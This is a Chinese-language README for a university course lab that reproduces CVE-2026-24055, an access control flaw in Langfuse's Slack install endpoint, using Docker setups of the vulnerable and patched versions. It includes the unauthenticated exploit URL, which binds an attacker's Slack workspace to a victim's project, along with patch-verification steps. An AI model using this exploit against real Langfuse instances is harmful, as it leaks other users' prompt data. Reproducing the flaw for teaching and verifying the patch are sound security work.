
Web 与应用安全课程项目 — 第 06 组,班级 NT213.Q21.ANTT
本项目复现了一个已公开的真实安全漏洞(CVE-2026-24055), 该漏洞存在于 Langfuse 平台 — 一个 OAuth 端点允许攻击者将 Slack workspace 绑定到他人的项目,且无需登录。
项目包括:搭建模拟存在漏洞版本和已修补版本的 Docker 环境, 逐步实施利用,并验证补丁正常工作。通过此过程实践分析 OAuth 流程中的访问控制漏洞,这是一项在构建或 审计 Web 认证系统时可直接应用的技能。
展示的技能: OAuth2 流程分析、Docker、阅读安全公告、编写技术报告、 安全测试。
CVE-2026-24055 是 Langfuse 中从版本 3.89.0 到 3.146.0 的 Improper Access Control 漏洞。
端点 /api/public/slack/install 不要求身份验证,允许攻击者仅需知道 projectId 即可将自己的 Slack workspace 绑定到任何项目。当受害者创建发送通知到 Slack 的自动化时,整个 prompt 内容将泄露到攻击者的 workspace。
| 属性 | 详情 |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| 受影响版本 | Langfuse 3.89.0 – 3.146.0 |
| 已修补版本 | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| 工具 | 最低版本 |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | 任意 |
| RAM | 8 GB |
Slack API 允许使用
http://localhost:3000作为 Redirect URL。
http://localhost:3000
cd vulnerable
cp .env.example .env
打开 .env 文件,填写以下值:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
检查容器是否就绪:
docker compose ps
等待约 30–60 秒。所有容器必须处于
Up (healthy)状态。
访问 http://localhost:3000:
受害者账户
攻击者账户
在攻击者的浏览器上(无需登录 Langfuse),访问:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
流程如下:
使用受害者账户登录:
Prompt created / updated / deletedSlack → 选择 channelcd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# 填写与 vulnerable 部分相同的值
docker compose up -d
尝试不登录:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
预期结果 — HTTP 401:
{ "error": "Authentication required" }
尝试以攻击者身份登录,使用受害者的 projectId:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
预期结果 — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
漏洞已完全修补。
docker compose down
如果要删除所有数据(volumes):
docker compose down -v
cve-2026-24055/
├── README.md ← 本文件
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0(存在漏洞)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0(已修补)
└── .env.example